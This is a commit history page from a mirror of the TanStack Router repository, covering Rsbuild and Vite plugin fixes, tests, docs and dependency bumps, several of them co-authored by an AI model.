0
Fork 0
mirror of https://github.com/TanStack/router.git synced 2026-11-16 19:38:07 +00:00

Compare commits

...

2,817 commits

Author SHA1 Message Date
Flo
0b6d4f3f6b
perf(start-plugin-core): count imported modules once in the Rsbuild manifest pass (#8926)
The static-dependency pass behind the Rsbuild Start manifest runs after
every client compilation, dev updates included. It walked every
connection of every module of every chunk and read the imported module's
chunks each time. Count an imported module once per chunk, from its
first active connection, and read a module's chunks once per
compilation (memoized on the resolver created per compilation).

The manifest is unchanged.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-13 14:28:55 +01:00
Ciarán Curley
e7358c36d8
fix(react-start-rsc): bump RSC bundler deps for RSC (#8919)
fix(react-start-rsc): bump RSC bundler deps for React Server Components advisories

Raise @vitejs/plugin-rsc to ^0.5.39 (peer >=0.5.38) and
react-server-dom-rspack to ^0.1.1 (peer >=0.1.1) so both bundled React
Flight runtimes include the fixes for GHSA-xqc2-xf4c-x3h3
(CVE-2026-126187, unauthenticated RCE) and GHSA-h3gv-c5rc-p453 (server
function DoS).

Bump the react/react-dom catalog to ~19.2.9. Stay on 19.2.x because
React 19.3 currently fails the rsc-deferred-hydration e2e suite.
2026-11-12 09:33:28 +01:00
Manuel Schiller
113b1a1f08
chore(pnpm): upgrade to pnpm 12 (#8912)
* chore(pnpm): upgrade to pnpm 12

* ci: use native pnpm 12 bootstrap for compiler jobs

* fix(benchmarks): invoke the Nx CLI directly

* refactor(benchmarks): run Nx through pnpm exec
2026-11-09 13:24:08 +01:00
Manuel Schiller
fd5b0b8fad
test(react-start): wait for SSR between HMR saves (#8913) 2026-11-09 12:57:45 +01:00
Flo
70bbd11025
fix(start-plugin-core): restore the build of the Rsbuild virtual modules (#8907)
#8889 wrote the Rsbuild dev manifest with the eager `paths.manifest`.
#8868, merged after it, replaced `paths` with the lazy `pathsOf()`, which
builds the virtual paths from the resolved root on first use. Neither PR
saw the other, so main fails to type-check with "Cannot find name 'paths'".

Read the manifest path through `pathsOf()`, like every other use.
`updateManifest` runs after a client compile, so the root is resolved by
then, and the path is the same one `manifestPath` returns for the RSC
manifest rebuild.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 18:34:35 +01:00
Flo
c156097786
fix(start-plugin-core): Rsbuild manifests list only a route's own chunks (#8876)
A chunk counted as a static dependency of a shared chunk when any one of
the shared chunk's groups had it. When two routes share a module in a
chunk of its own and a module that module imports is duplicated into each
route's chunk, the shared chunk depended on both route chunks, so each
route's manifest entry preloaded the other route's chunk and linked its
stylesheet. A chunk now counts as available only when every group of the
shared chunk (or one of its ancestors) has it.

Taken from #8817.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 11:42:43 +01:00
Flo
df6ac30406
fix(start-plugin-core): write Rsbuild virtual modules under the app's root, not the working directory (#8868)
* fix(start-plugin-core): write Rsbuild virtual modules under the app's root

The Rsbuild plugin read `resolvedStartConfig.root || process.cwd()` at
setup, before `modifyRsbuildConfig` resolves the root, so Start's virtual
modules always went under `<cwd>/node_modules/.virtual`. Run from another
directory (`rsbuild build --root <app>` from a monorepo root), the packages
those modules import did not resolve there: an RSC app failed with "Module
not found" on its serialization adapters. The virtual paths are now built
from the resolved root when the first Rspack config is built.

From #8817.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(start-plugin-core): resolve a relative Rsbuild root before building virtual paths

Rsbuild accepts a relative `root` (resolved against its `cwd`) but passes
it to `modifyRsbuildConfig` as written. Start stored it as is, so the
virtual modules' paths were relative and resolved against each importer:
the build failed with "Module not found". Take Rsbuild's resolved
`api.context.rootPath` unless the root is already absolute.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): leave the temporary working directory before removing it

`onTestFinished` callbacks run last first, so the directory was removed
while it was still the working directory, which Windows refuses.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(start-plugin-core): use a canonical Rsbuild root for the virtual modules' paths

Rsbuild keeps `root` as written, trailing separator included (`/app/`,
and `rootPath` of a relative `app/`), so the virtual paths had `//` while
Rspack's module identifiers have one separator: the dev rebuild of the
server-fn resolver (substring match) skipped it. Resolve the root.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): the relative-root Rsbuild app renders its index page

The test only checked that the build finished. Render `/` through the
built server's `fetch` handler, which also reads the server manifest.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 11:42:24 +01:00
Flo
2ebc0f3586
fix(start-plugin-core): refuse custom server-fn ids that never worked over HTTP, deprecate the rest outside the unreserved set (#8858)
* refactor(start-plugin-core): derive server-fn ids from the stable key, with 22-character defaults

`serverFns.generateFunctionId` now receives the server function's
stable name (`greetUser`) as `functionName` instead of the generated
handler name (`greetUser_createServerFn_handler`). Repeats of the same
variable name in one file get `#1`, `#2`, ...

Default production ids are the first 22 base64url characters of the
SHA256 of `<file>#<stable key>` instead of the full 64-character hex
digest.

Split out of #8817, which derives ids the same way.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(start-plugin-core): keep generateFunctionId's handler-name input, reject custom ids that aren't one URL path segment

Follows #8817's current id contract:

- `generateFunctionId` receives the generated handler name again
  (`greetUser_createServerFn_handler`, `_1`, `_2`… for repeats), with
  characters outside `[A-Za-z0-9_$]` as `_`. The handler export keeps its
  name.
- The default id stays 22 base64url characters of
  `sha256("<root-relative file>#<variable name>")`, `#n` for repeats.
- A custom id outside RFC 3986's unreserved characters and `$` (or `.`,
  `..`, empty) fails the build, naming the file, the function and the id.
- The e2e id maps return to main's keys.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs(start-plugin-core): a repeated server function name loses leading and doubled underscores

The generator's `functionName` for a repeated name goes through the old
increment rule, which strips leading underscores and collapses runs of
underscores (a second `_x` gets `x_createServerFn_handler_1`). Say so,
and pin it with `_x` twice and `café` then `caf_`.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs(start-plugin-core): names that become equal after the `_` replacement get suffixes too

`café` and `caf_` both give `caf__createServerFn_handler`, so the later
one gets `caf_createServerFn_handler_1`, like a repeated variable name.
Describe the replacement first, then the suffix rule for any resulting
duplicate.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(start-plugin-core): keep main's server-fn ids; refuse custom ids that never worked over HTTP

#8817 now prints main's default ids and passes main's functionName to
generateFunctionId, so this reverts the shorter default ids, the
generator-name split and the empty-id failure. What stays is #8817's
custom-id check: an id the URL never carries whole fails the build, one
with other characters outside the unreserved set and $ builds with a
deprecation warning, and the resolver manifest escapes a `'` in an id.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 11:42:06 +01:00
Flo
3cc054c374
fix(start-plugin-core): find Start libraries from Vite's root, not the working directory (#8866)
* fix(start-plugin-core): find Start libraries from Vite's root

Start bundles the Start libraries (dependencies with a peer dependency on
Start) in the SSR build so its compiler compiles their server fns. It
crawled the working directory's package.json, so `vite build <app>` run
from another directory left them external and uncompiled: their server
fns returned undefined during SSR. Crawl Vite's root, which the plugin
already uses for its own root.

From #8817.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(start-plugin-core): resolve a relative Vite root before crawling for Start libraries

The `config` hook sees Vite's root as configured, which can be relative
(`root: '.'`, `vite build .`). vitefu then walked up from the relative
path and stopped at the working directory, missing a Start library
hoisted to a monorepo's `node_modules` above it. Resolve it as Vite does.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): leave the temporary working directory before removing it

`onTestFinished` callbacks run last first, so the directory was removed
while it was still the working directory, which Windows refuses.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(start-plugin-core): crawl Start libraries from the physical Vite root

A root through a symlink (`vite build "$PWD"` in a symlinked directory)
made vitefu walk up the symlink's parents and miss a Start library
hoisted above the physical app directory, where Vite resolves the app's
imports from. main crawled `process.cwd()`, which is physical. Take the
root's realpath.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): leave the symlinked directory before removing it

The symlinked-root test removed `linkParent` while the working directory
was still inside it (`onTestFinished` callbacks run last first), which
Windows refuses.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 11:41:37 +01:00
github-actions[bot]
ed86c440c5
ci: Version Packages (#8891)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-08 10:47:39 +01:00
Manuel Schiller
f8709334ac
chore(deps): bump @rsbuild/core to 2.3.1 (#8890)
Bump the workspace catalog and every e2e, example and benchmark
devDependency to ^2.3.1 so the lockfile resolves a single Rsbuild version.
Published peer ranges are unchanged.

The newer Rspack types allow falsy entries in a rule's `use` array, so the
Rsbuild RSC SWC integration now skips them instead of treating them as
loaders.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:47:24 +01:00
Manuel Schiller
559c7ded6e
fix(start-plugin-core): restore CSS in Rsbuild RSC dev SSR (#8892)
fix(start-plugin-core): rebuild the Rsbuild RSC dev manifest after the client build

#8889 moved the Rsbuild dev manifest from a build-process global into the
server's manifest module. With React Server Components the client and server
compile concurrently, so the manifest is written while the server
compilation is already running, and dev SSR kept the fallback manifest
without CSS.

Run the existing RSC finishMake manifest rebuild in dev too. In dev it only
rebuilds when the manifest was written since this compiler last rebuilt it.

Add an Rsbuild dev mode to the rsc e2e app (test:e2e:dev:rsbuild). On main,
nine CSS tests fail in it; with this change the full suite passes. Also
accept Rsbuild dev's CSS module class names in the scoped-class assertion.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:33:30 +01:00
Manuel Schiller
3f226869e0
fix(start-plugin-core): include CSS in Rsbuild dev SSR when the server runs in workerd (#8889)
fix(start-plugin-core): write Rsbuild dev manifest into the server module

In Rsbuild dev, the start manifest was stored on the build process's
globalThis and read from there by the SSR manifest module. When the server
environment runs in another runtime, such as workerd with
rsbuild-plugin-cloudflare, that global is invisible, so SSR fell back to a
manifest without CSS and pages rendered unstyled.

Write the dev manifest into the server's manifest virtual module instead,
only when its content changes. Add rsbuild dev variants (Node and workerd)
to the css-modules e2e app to cover it.

Fixes #8886

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:05:42 +01:00
github-actions[bot]
7dbce0807d
ci: Version Packages (#8854)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-08 02:00:36 +01:00
Manuel Schiller
bbf9b75808
fix(router-devtools-core): restore embedded panel styling (#8888)
* fix(router-devtools-core): restore embedded panel styling

All devtools size tokens are `calc(var(--tsrd-font-size) * n)`, but only the
floating devtools set `--tsrd-font-size` (via JS). The embedded
TanStackRouterDevtoolsPanel never had it defined, so every size declaration
was dropped: inherited font sizes, zero padding/gap/indentation and invisible
route status dots. Regressed in #1222 (v1.17.0).

Fall back to `1rem` when the variable is unset. Floating behavior is unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(react-router): read devtools mode from a validated search param

Use root route validateSearch + useSearch instead of raw URLSearchParams,
and render the shadow DOM panel through a portal instead of mounting the
whole app in a shadow root.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(react-router): validate devtools search param with zod

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(react-router): add links to switch devtools variants

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 01:55:41 +01:00
Tanner Linsley
19037cc8c6
docs(start): troubleshoot server and client execution boundaries (#8394) 2026-11-05 21:26:23 -07:00
Tanner Linsley
78001ec0ef
docs(start): troubleshoot Cloudflare deployment config (#8396) 2026-11-05 21:26:13 -07:00
Tanner Linsley
ee7dab26e2
docs(start): record verified Query recipe versions (#8387)
* docs(start): record verified Query recipe versions

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-11-05 21:26:02 -07:00
Tanner Linsley
b2ab16c22e
docs(router): clarify when Start helps with data loading (#8388)
docs(router): clarify when to use Start for data loading
2026-11-05 21:25:30 -07:00
Pujitha Paladugu
c5320d7ca2
fix(start-plugin-core): define TSS_SHELL in Rsbuild dev for SPA mode (#8805)
* fix(start-plugin-core): define TSS_SHELL in Rsbuild dev for SPA mode

In Rsbuild dev mode, `source.define` now sets `process.env.TSS_SHELL` and `import.meta.env.TSS_SHELL` from `startConfig.spa?.enabled` (`"true"` when SPA mode is enabled, `"false"` otherwise). Before this, Rsbuild dev never defined `TSS_SHELL`, so with `spa: { enabled: true }` it server-rendered the matched route and ran its loader on the server instead of serving only the shell. Build and preview are unchanged: the define is added only when `isDev` is true.

Changes:
- `packages/start-plugin-core/src/rsbuild/plugin.ts`: add the dev-only `TSS_SHELL` defines to the Rsbuild define block.
- `packages/start-plugin-core/tests/rsbuild/spa-shell-define.test.ts`: new test that calls the plugin's `modifyRsbuildConfig` hook. It checks that `TSS_SHELL` is `"true"` in dev with SPA enabled, `"false"` in dev without SPA, and not defined in build.
- `.changeset/rsbuild-spa-dev-shell.md`: patch changeset for `@tanstack/start-plugin-core`.

Fixes #8543

Signed-off-by: Pujitha Paladugu <10557236+pujitha24@users.noreply.github.com>
Assisted-by: claude-sonnet-5-5 (via Claude Code)

* test(start-plugin-core): check the SPA shell on a real Rsbuild dev server

- `src/rsbuild/plugin.ts`: the `TSS_SHELL` define gets #8817's comment.
- The regression test serves a real app with `rsbuild dev` (a new
  `startRsbuildDevServer` in `tests/integration/start-app.ts`) and fetches
  its `/` route: with `spa.enabled` the loader no longer runs on the
  server; without it, the control still renders the route there. This is
  #8817's `integration/rsbuild/dev-server-config.test.ts` scenario, and it
  replaces the unit test that stubbed the plugin API.
- The changeset says what users see.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): the SPA dev test checks the shell and counts loader runs

The SPA test only checked a 200 without `MARK_SERVER`, which an empty
answer or a loader run whose output the shell drops would also pass.
The root route now renders its own text, so the SPA answer must hold it
without the `/` route's; the loader counts its runs on `globalThis`
(Rsbuild dev runs the server bundle in the test's process), so the SPA
test asserts none and the control asserts one.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(react-start): check the dev SPA shell with an e2e on Vite and Rsbuild

Replace the synthetic Rsbuild integration test with one e2e in
e2e/react-start/basic, run against both dev servers:
test:e2e--vite-spa--dev and test:e2e--rsbuild-spa--dev
(playwrightModes with E2E_DEV_SERVER, no app build, the shared dev
server prewarm). spa-shell.spec.ts checks that the raw document is the
shell, that the route's loader and beforeLoad run in the browser, and
that client navigation works from the shell. It runs in the prod SPA
mode too.

tests/integration/start-app.ts is back to main's.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Signed-off-by: Pujitha Paladugu <10557236+pujitha24@users.noreply.github.com>
Co-authored-by: Pujitha Paladugu <10557236+pujitha24@users.noreply.github.com>
Co-authored-by: Sheraff <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 20:28:58 +01:00
Flo
d05c6c66e7
fix(vue-start): pre-bundle @tanstack/vue-store so a cold dev start doesn't reload the page (#8869)
fix(vue-start): pre-bundle @tanstack/vue-store so a cold dev start doesn't reload

Vue Start excludes `@tanstack/vue-router` from optimization, so Vite's
scanner never sees its `@tanstack/vue-store` import. Discovered while the
first page loads, it imports `vue` and re-chunks the already optimized
`vue`: Vite logs "optimized dependencies changed. reloading" and reloads
the page on every cold start. Declare it through `optimizeDeps.include`,
as React Start does for `@tanstack/react-store`.

From #8817.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 13:38:11 +01:00
Flo
ff157f0079
fix(router-utils): parse decorators after export (#8867)
The shared Babel parser options set `decoratorsBeforeExport: true`, so
`export @dec class Store {}` failed to parse. The route generator logged
the error and wrote no route tree, and the code splitter left the route
unsplit. Start's compilers use the same options.

Dropping the option lets Babel accept decorators on either side of
`export`; decorators before `export` still print where they were.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 13:36:34 +01:00
Flo
f420d4a6da
fix(router-plugin): write import.meta.hot.accept( out in Vite route HMR (#8870)
* fix(router-plugin): write `import.meta.hot.accept(` out in Vite route HMR

Vite's import analysis marks a module as a hot boundary only when its
code spells `import.meta.hot.accept(` out. The route HMR code called it
through `const hot = import.meta.hot`, so a route module no framework
plugin accepted (a `.ts` route file, or an app without
`@vitejs/plugin-react`) reloaded the page on every edit.

The React HMR code also declared a top-level `const hot`, which made a
route file with its own `hot` binding fail with `Duplicate declaration
"hot"`. Both now read `import.meta.hot` directly.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(router-plugin): keep the user's `hot` binding in the module under test

Split, the component reading `hot` moves to its chunk, and with it the
user's `const hot`, so the served route module no longer holds the
binding the HMR code could collide with. Serve the route unsplit and
assert the declaration is still there.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 13:31:55 +01:00
Flo
545a8d3790
fix(start-plugin-core): require exsolve ^1.1.3, and see new entry files after a dev server restart (#8871)
* fix(start-plugin-core): require exsolve ^1.1.3 and bypass its cache for entry lookups

exsolve caches a failed `try: true` lookup as an Error in its
process-wide cache. Before 1.1.2 that Error kept its call sites, and
with them its callers, alive for the life of the process (unjs/exsolve#63),
so each build in one process left its objects behind. Require ^1.1.3.

The cache also kept misses: Start looks up its optional entries
(`src/start.ts`, `src/client.tsx`, `src/server.ts`) once per plugin
instance, and a dev server restart got the cached miss for an entry
created since. Entry lookups now pass `cache: false`.

From #8817.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs(changeset): narrow the exsolve memory claim

exsolve still caches lookups, and other packages in an app's build (for
example Nitro, which bundles an older exsolve) share its process-wide
cache. Say what the bump fixes: Start's cached failed lookups no longer
keep each build's objects alive.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 13:28:02 +01:00
Sarah Gerrard
1ba19a0445
fix(router-plugin): omit browser warnings from production bundles (#8269)
* fix(router-plugin): omit browser warnings from production bundles

* fix(router-plugin): only the bundler's mode keeps the warning out of the page

The code splitter always passes isProduction, so the NODE_ENV fallback in the compiler was reachable only from direct test calls. The changeset now names the bug users see.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(router-plugin): real webpack and Rspack production builds ship no splitter warning

Builds an app whose route exports its component, with mode 'production' and with mode left out, and checks that no emitted JS names the app's absolute path. Fails on main. Replaces the fake-compiler matrix in router-plugin-context.test.ts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Sheraff <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 11:30:55 +01:00
Flo
01fab5a6c8
fix(start-plugin-core): keep the app's server.compress on Rsbuild (#8863)
* fix(start-plugin-core): keep the app's server.compress on Rsbuild

The Rsbuild plugin always set `server.compress: false`, so an app's
`server: { compress: true }` had no effect (#8544). It now sets it only
when the app leaves it unset: a compressed streamed page reaches the
browser only once the stream ends.

From #8817. Rsbuild merges its defaults (`compress: true`) into the
config before `modifyRsbuildConfig`, so the check reads the app's own
config through `api.getRsbuildConfig('original')`.

Fixes #8544

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(start-plugin-core): require @rsbuild/core ^2.0.5 for Start's Rsbuild plugin

Now that an app's `server.compress: true` takes effect, Rsbuild 2.0.0 to
2.0.4 would corrupt SSR response headers: their compression middleware
reads the raw header array `writeHead` form as an object. Rsbuild 2.0.5
fixed it (web-infra-dev/rsbuild#7613). Raise the optional peer of
start-plugin-core, react-start, solid-start and vue-start to ^2.0.5.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-04 08:10:22 +01:00
Flo
da8c28c498
fix(start-plugin-core): pass Start's router options through to the generator and code splitter (#8861)
* fix(start-plugin-core): pass Start's router options through to the generator and splitter

- `router.plugins` reach the route generator (#7768): one shared
  `startGeneratorConfig` (from #8817) appends them after Start's own
  generator plugins, on Vite and Rsbuild.
- A function-form `routeTreeFileFooter` is called at every print; Vite
  no longer caches its first result.
- Rsbuild's server build keeps `codeSplittingOptions.deleteNodes`.
- Vite matches the client route tree by its exact id (#8839), not by an
  unescaped `new RegExp(path)`.

Regression tests build and serve real Start apps with the built
`@tanstack/react-start` plugins (`tests/integration/start-app.ts`).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): link the test apps' packages with junctions on Windows

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): run the real-build tests in their own test:integration target

The cross-platform unit-test job (Linux arm64, Windows) timed out in the
Vite dev footer test: the dev server never picked up the new route file.
`test:unit` goes back to main's dependencies (`^build`); the real-build
tests move to a `test:integration` target that builds this package and
`@tanstack/react-start` first. `test:pr`/`test:ci` run it, so it runs in
the Linux `Test` job only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(start-plugin-core): wait for the dev server's file watcher before adding a route

The generator prints the first route tree in `configResolved`, before
Vite creates its watcher, so the first tree says nothing about the
watcher being ready. A route file written during the watcher's initial
scan is taken as an existing file and never reported (no `add`), which
is how the footer test timed out on Linux arm64 and Windows. The test
now writes a file the generator ignores until the watcher reports it,
then adds the route once.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 21:39:54 +01:00
Flo
b5e2ac9c4c
fix(router-plugin): point split routes' source maps at the route file (#8860)
* test(router-plugin): split routes' source maps point at the route file

Real webpack and Rspack builds, and Vite's dev server: a throw in a split
component, and in code it shares, maps to its line in the route file, and
the map names the route file rather than its ?tsr-split / ?tsr-shared id.
Fails on main.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(router-plugin): point split routes' source maps at the route file

- Require unplugin ^3.5.0: its webpack/Rspack transform loader dropped a
  plugin's map when no earlier loader passed one (unjs/unplugin#626).
- Name the route file, not the ?tsr-split / ?tsr-shared module id, as the
  source of split and shared modules' maps.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* test(router-plugin): wait for the compiler to close before removing the app

runCompiler settled before compiler.close finished, so the test could remove
the app while webpack or Rspack was still shutting down, and a close error
went unreported.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 21:37:11 +01:00
Ethan Huo
d66a84ba0a
fix(react-start-client): call HydrationBoundary hooks before the visible() gate (#8653)
* fix(react-start-client): call HydrationBoundary hooks before the visible() gate

* fix(react-start-client): align the visible() fix with #8817 and test it through hydration

- Destructure only `o` and read `props.g` inline: keeps the deferred-hydration
  client gzip at main's (+6 B with both destructured after the reorder).
- Replace the client-render test with a hydration test that runs the
  intersection in each task around the boundary's first hydration attempt and
  asserts no recoverable error. It fails on main.
- Use the changeset wording of #8817.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Sheraff <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 21:36:11 +01:00
Flo
ad5b3b7a09
fix(router-generator): type route-group layouts with full path '/' (#8857)
* fix(router-generator): type route-group layouts with full path `'/'`

A pathless layout inside a route group (`/(group)/_layout`) strips down
to `/`, and dropping the trailing slash left `''` in `FileRoutesByPath`.
The router gives that layout the full path `/` at runtime, as it does for
a pathless layout outside a group.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(router-generator): a childless route-group layout next to the index route still generates

With route-group layouts now typed with the full path `/`, a layout
without child routes yet (`(group)/_layout.tsx` or `(group)/route.tsx`)
next to `index.tsx` failed generation with "Conflicting configuration
paths", where it used to generate. Pathless and route-group layouts match
no URL of their own, so the full-path uniqueness check skips them, as
#8817 does. This also lets a childless `_auth.tsx` next to the index
route generate.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(router-generator): a pathless layout that carries a path still conflicts

`foo/_layout.tsx` without `foo.tsx` is given `path: '/foo'`, so it
matches `/foo` like `(group)/foo.tsx` or `foo_.tsx` does. Main rejected
that pair as conflicting; the previous commit skipped every pathless
layout in the full-path uniqueness check and let both through. Skip only
the layouts the route tree gives no `path`, using the same condition the
tree printer uses.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(router-generator): keep main's full-path conflicts, change only the types

The route tree lists the index route before a pathless layout, and the
router then matches `/` to a childless `_auth.tsx` instead of the index
route. Main refused that pair; skipping pathless layouts in the
uniqueness check let it through. Keep the check on main's key instead: the
stripped full path, which is `''` for a route group's layout, so a
childless group layout still generates next to the index route as on
main. Only the types use `'/'`.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 19:54:33 +01:00
Flo
446ce1b306
chore: require Node ^20.19.0 || >=22.12.0 in engines (#8855)
* chore: require Node ^20.19.0 || >=22.12.0 in engines

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore: say why the Node engines range narrows in the changeset

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 19:15:33 +01:00
Flo
533ca27044
refactor(router-plugin): remove plugin.hmr.style and HmrOptions (#8856)
The option was undocumented. The webpack and Rspack entries overwrote it
with `'webpack'`, and on Vite `'webpack'` emitted `import.meta.webpackHot`,
which broke route HMR. The HMR style is now an internal parameter: the
composed plugin derives it from the bundler unplugin reports, and the
standalone webpack/Rspack code-splitter entries pass `'webpack'`.

Split out of #8817.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 18:54:15 +01:00
Flo
13b6256830
refactor(router-plugin): remove compilerPlugins and splitter internals from the root entry (#8853)
* refactor(router-plugin)!: remove `compilerPlugins` and splitter internals from the root entry

Remove the experimental `codeSplittingOptions.compilerPlugins` hook and
stop exporting the Babel splitter's internals from the package root:
`unpluginRouterCodeSplitterFactory`, `getObjectPropertyKeyName`,
`CodeSplitCompilerPlugin`, `ReferenceRouteCompilerPlugin`,
`ReferenceRouteCompilerPluginContext` and
`VirtualRouteSplitNodeCompilerPluginContext`.

Split out of #8817.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* chore: make the changeset a patch

The removed option and exports were internal, not public API.

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 17:38:08 +01:00
Flo
94f36c4a9e
fix(router-plugin): throw on autoCodeSplitting with esbuild (#8852)
* fix(router-plugin): throw on autoCodeSplitting with esbuild

The esbuild plugin silently bundled every route without splitting when
`autoCodeSplitting` was enabled. It now throws a clear error, and
`TanStackRouterCodeSplitterEsbuild` always throws. Route generation is
unchanged. Extracted from #8817.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* docs(router-plugin): drop autoCodeSplitting from the esbuild skill example

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 17:11:14 +01:00
Flo
d25081952d
chore(router-plugin): require Vite 6 or later in the peer range (#8851)
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 16:28:45 +01:00
Flo
c28c7ebb38
test(router-utils): re-enable unit tests (#8849)
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 16:07:57 +01:00
Manuel Schiller
f723f3b8be
update generated route trees (#8841) 2026-11-01 23:36:36 +01:00
Nicolas Beaussart
da2adec76d
ci: upgrade Nx and migrate worker configuration (#8807) 2026-10-25 01:21:10 +02:00
Tanner Linsley
78caf5f3b9
docs(start): use TanStack Markdown in rendering guide (#8808) 2026-10-24 14:38:14 -06:00
github-actions[bot]
6b9fe6d295
ci: Version Packages (#8745)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-10-22 22:05:39 +02:00
Flo
08a419c109
chore: update Node.js to 26.12.1 (#8779) 2026-10-21 19:28:23 +02:00
Guru 🦄
ed5577593a
fix(start-plugin-core): skip the Rsbuild import-protection loader when disabled (#8748)
* fix(start-plugin-core): skip the Rsbuild import-protection loader when disabled

- With import protection disabled, the Rsbuild integration still added
  its post loader for every JS and TS module, node_modules included,
  plus its virtual modules plugin. The loader returned at once, but every
  module still paid for a loader step.
- Register nothing when import protection is disabled, as the Vite
  plugin does.

* test(start-plugin-core): drop the disabled import-protection unit test
2026-10-19 08:51:03 +02:00
Guru 🦄
63a886da90
fix(start-plugin-core): skip unchanged server function resolver rebuilds in Rsbuild dev (#8750)
* fix(start-plugin-core): skip unchanged server function resolver rebuilds in Rsbuild dev

- Skip the resolver rebuild at the end of make when the resolver has not
  been written since this compiler last rebuilt it. Rebuilding an
  unchanged resolver made Rspack rebuild the server chunk graph after
  every edit.
- Child compilations still rebuild every time and do not change the
